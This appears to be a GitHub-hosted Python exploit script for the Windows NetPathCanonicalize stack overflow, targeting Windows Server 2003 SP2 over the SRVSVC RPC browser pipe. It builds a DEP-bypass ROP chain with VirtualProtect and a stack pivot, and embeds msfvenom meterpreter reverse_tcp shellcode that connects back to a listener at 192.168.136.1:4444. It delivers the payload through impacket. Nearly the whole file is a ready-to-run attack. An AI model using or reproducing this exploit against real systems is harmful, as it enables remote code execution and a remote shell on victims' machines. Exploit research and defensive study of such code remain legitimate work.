Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
executable file 322 lines (266 sloc) 10.3 KB
#!/usr/bin/python
# -*- coding: utf-8 -*-
##################################################################################
#
# Vulnerability: NetPathCanonicalize Stack corruption
# Dep bypass with VirtualProtect
# Author: 0x4E0x650x6F
##################################################################################
import sys
from struct import pack
from string import ascii_uppercase
from random import randint
from random import choice
from impacket import uuid
from impacket import dcerpc
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
TARGETS = {
"win2k3sp2": {
# The avaliable space for rop + shellcode
"size": 508,
# Size of the string where EIP will end up after
# triggering the crash
"ldsize": 78,
# Offset where EIP lands after triggering the crash
"retoffset": 4,
# 98 of the 508 chars will not show on the stack
# plus 8 bytes to aling EIP with initial ropery jumps
"ploffset": 106,
# Stack privot rop chain offsets
"stkpivotoffset": [0, 18, 36, 56],
# To aling the stack and allow the shellcode to run
# properly we need to pre append 4 NOPS otherwize
# shellcode will crash
"plnops" : 4,
# stack alignment same as metasploit
"stkalign": "\x81\xE4\xF0\xFF\xFF\xFF",
# Found with mona will be used to jump into
# DEP bypass + shellcode
# ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
"stkpivot": pack("<L", 0x77BDF444),
}
}
# msfvenom --platform windows -p windows/meterpreter/reverse_tcp -a x86
# -b '\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40' LHOST=192.168.136.1 LPORT=4444 --smallest -f py
#Payload size: 306 bytes
#Final size of py file: 1474 bytes
SHELLCODE = (
"\x6a\x47\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13"
"\xf4\x7a\x8e\x94\x83\xeb\xfc\xe2\xf4\x08\x92\x0c\x94"
"\xf4\x7a\xee\x1d\x11\x4b\x4e\xf0\x7f\x2a\xbe\x1f\xa6"
"\x76\x05\xc6\xe0\xf1\xfc\xbc\xfb\xcd\xc4\xb2\xc5\x85"
"\x22\xa8\x95\x06\x8c\xb8\xd4\xbb\x41\x99\xf5\xbd\x6c"
"\x66\xa6\x2d\x05\xc6\xe4\xf1\xc4\xa8\x7f\x36\x9f\xec"
"\x17\x32\x8f\x45\xa5\xf1\xd7\xb4\xf5\xa9\x05\xdd\xec"
"\x99\xb4\xdd\x7f\x4e\x05\x95\x22\x4b\x71\x38\x35\xb5"
"\x83\x95\x33\x42\x6e\xe1\x02\x79\xf3\x6c\xcf\x07\xaa"
"\xe1\x10\x22\x05\xcc\xd0\x7b\x5d\xf2\x7f\x76\xc5\x1f"
"\xac\x66\x8f\x47\x7f\x7e\x05\x95\x24\xf3\xca\xb0\xd0"
"\x21\xd5\xf5\xad\x20\xdf\x6b\x14\x25\xd1\xce\x7f\x68"
"\x65\x19\xa9\x12\xbd\xa6\xf4\x7a\xe6\xe3\x87\x48\xd1"
"\xc0\x9c\x36\xf9\xb2\xf3\x85\x5b\x2c\x64\x7b\x8e\x94"
"\xdd\xbe\xda\xc4\x9c\x53\x0e\xff\xf4\x85\x5b\xfe\xfe"
"\x12\x4e\x3c\x7c\x7b\xe6\x96\xf4\x6b\xd2\x1d\x12\x2a"
"\xde\xc4\xa4\x3a\xde\xd4\xa4\x12\x64\x9b\x2b\x9a\x71"
"\x41\x63\x10\x9e\xc2\xa3\x12\x17\x31\x80\x1b\x71\x41"
"\x71\xba\xfa\x98\x0b\x34\x86\xe1\x18\x12\x7e\x21\x56"
"\x2c\x71\x41\x9e\x7a\xe4\x90\xa2\x2d\xe6\x96\x2d\xb2"
"\xd1\x6b\x21\xf1\xb8\xfe\xb4\x12\x8e\x84\xf4\x7a\xd8"
"\xfe\xf4\x12\xd6\x30\xa7\x9f\x71\x41\x67\x29\xe4\x94"
"\xa2\x29\xd9\xfc\xf6\xa3\x46\xcb\x0b\xaf\x8f\x57\xdd"
"\xbc\xfb\x7a\x37\x7a\x8e\x94"
)
"""
NDR Type build functions
This will be used to 'format' the string
in a way that is compatible with what Windows MSRPC
service expects
"""
def ndr_long(value):
return pack("<L", value)
def ndr_aling(value):
return "\x00" * ((4 - (len(value) & 3)) & 3)
def ndr_uwstring(value):
value = value + "\x00"
rvalue = ndr_long(randint(1, 0xffffffff))
length = ndr_long(len(value))
utf16_value = value.encode("utf-16le")
aligned_utf16_value = ndr_aling(utf16_value)
return rvalue + length + ndr_long(0) + length + utf16_value + aligned_utf16_value
def ndr_wstring(value):
value = value + "\x00"
length = ndr_long(len(value))
utf16_value = value.encode("utf-16le")
aligned_utf16_value = ndr_aling(utf16_value)
return length + ndr_long(0) + length + utf16_value + aligned_utf16_value
def ndr_wstring_prebuilt(value):
if len(value) % 2 > 0:
value = value + "\x00"
length = len(value) / 2
llength = ndr_long(length)
return llength + ndr_long(0) + llength + value + ndr_aling(value)
def rand_text_alpha(length):
return ''.join(choice(ascii_uppercase) for _ in range(length))
def to_unicode(value):
return value.encode("utf-16le")
def connect(target):
trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % target)
try:
trans.connect()
print "[*]\tConnected to %s " % target
except:
print "[*]\tConnection fault"
exit()
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
print "[*]\tBinding"
return dce
# REAL Magic begins here!
def offsets(platform):
"""
An efford to avoid magic numbers!
"""
if platform in TARGETS:
return TARGETS[platform]
else:
return False
def jmprop(cfg):
"""
Size 60 stack pivots to jump to the payload
ROP format will be:
[ROP 4][junk 14][ROP 4][ROP 4][ROP 4][ROP 4][junk 2][ROP 4][junk 16][ROP 4]
After all this jumping we will land 106 bytes passed the payload buffer
"""
rop1 = cfg['stkpivot']
offsets = cfg['stkpivotoffset']
rop2 = rop1 * 4
stackpivot = list("\x44" * 60)
stackpivot[offsets[0]: len(rop1)] = rop1
stackpivot[offsets[1]: (len(rop2) + offsets[1])] = rop2
stackpivot[offsets[2]: (len(rop1) + offsets[2])] = rop1
stackpivot[offsets[3]: (len(rop1) + offsets[3])] = rop1
return ''.join(stackpivot)
def deprop():
"""
rop -m msvcrt.dll,shell32.dll -cpb '\x00\x0a\x0d'
rop chain generated with mona.py - www.corelan.be
Register setup for VirtualProtect() :
--------------------------------------------
EAX = NOP (0x90909090)
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualProtect()
EDI = ROP NOP (RETN)
--- alternative chain ---
EAX = ptr to &VirtualProtect()
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------
"""
rop_gadgets = [
0x77bc5f6e, # POP EAX # RETN [msvcrt.dll]
0x7c8d1748, # ptr to &VirtualProtect() [IAT SHELL32.dll]
0x7c9db891, # MOV EAX,DWORD PTR DS:[EAX] # RETN [SHELL32.dll]
0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]
0x77bac145, # POP EBP # RETN [msvcrt.dll]
0x7c9b640c, # & jmp esp [SHELL32.dll]
0x7c946761, # POP EAX # RETN [SHELL32.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x7c9b2676, # NEG EAX # RETN [SHELL32.dll]
0x7ca2a6af, # XCHG EAX,EBX # RETN [SHELL32.dll]
0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x7c9b2676, # NEG EAX # RETN [SHELL32.dll]
0x77bb8285, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77bbc98a, # POP ECX # RETN [msvcrt.dll]
0x7cadc046, # &Writable location [SHELL32.dll]
0x7c92940e, # POP EDI # RETN [SHELL32.dll]
0x7c9b2678, # RETN (ROP NOP) [SHELL32.dll]
0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
0x90909090, # nop
0x7c8f417c, # PUSHAD # RETN [SHELL32.dll]
]
return ''.join(pack('<I', _) for _ in rop_gadgets)
def payload(cfg):
plsize = cfg['size']
ploffset = cfg['ploffset']
plnops = cfg['plnops']
stkalign = cfg['stkalign']
rop = deprop()
nops = "\x90" * (plsize - ploffset)
payload = list('\x41' * plsize)
payload[ploffset: (ploffset + len(nops))] = nops
# prepare the shellcode parts
# calc offsets
depoffset = (ploffset + len(rop))
salinoffset = (depoffset + plnops)
shellcodeffset = (depoffset + plnops + len(stkalign))
# assemble
payload[ploffset: depoffset] = rop
payload[salinoffset: shellcodeffset] = stkalign
payload[shellcodeffset: (shellcodeffset + len(SHELLCODE))] = SHELLCODE
return ''.join(payload)
def exploit(target, cfg):
"""
NET_API_STATUS NetprPathCanonicalize(
[in, string, unique] SRVSVC_HANDLE ServerName,
[in, string] WCHAR* PathName, <- Vulnerable parameter
[out, size_is(OutbufLen)] unsigned char* Outbuf,
[in, range(0,64000)] DWORD OutbufLen,
[in, string] WCHAR* Prefix,
[in, out] DWORD* PathType,
[in] DWORD Flags
);
The evil path Size will be 618 the path format will be similar to metasploit:
[UNICODE PREFIX][payload 508][trigger 14][pading 14][landing buffer 78][null 2]
"""
jumperoffset = cfg['retoffset']
ldsize = cfg['ldsize']
SERVER_LENGTH = 6
server = rand_text_alpha(SERVER_LENGTH)
prefix = '\\'
outbuf = 2
path_type = 1
flags = 0
trigger = to_unicode("\\..\\..\\")
pad = to_unicode("ACSDPOX")
pyload = payload(cfg)
jumper_rop = jmprop(cfg)
jumper = list("\x42" * ldsize)
jumper[jumperoffset:(jumperoffset + len(jumper_rop))] = jumper_rop
path = to_unicode(prefix) + pyload + trigger + pad + ''.join(jumper) + "\x00" * 2
print "Evil Jumper size: %s " % len(jumper)
print "Evil Payload size: %s " % len(pyload)
print "Evil Path size: %s " % len(path)
# Create the call stub string
stub = ndr_uwstring(server)
stub += ndr_wstring_prebuilt(path)
stub += ndr_long(outbuf)
stub += ndr_wstring(prefix)
stub += ndr_long(path_type)
stub += ndr_long(flags)
dce = connect(target)
print "[*]\tCall stub size %s" % len(stub)
# NetPathCanonicalize func. opcode 0x1f
dce.call(0x1f, stub)
print "[*]\tPayload delivered"
if __name__ == "__main__":
if len(sys.argv) == 3:
platform = sys.argv[1]
target = sys.argv[2]
print "[*]\tPlatform: %s Target: %s" % (platform, target)
cfg = offsets(platform)
exploit(target, cfg)
else:
print "[*]\t%s <target> <ipaddress>" % sys.argv[0]
print "[*]\tTarget: win2k3sp2"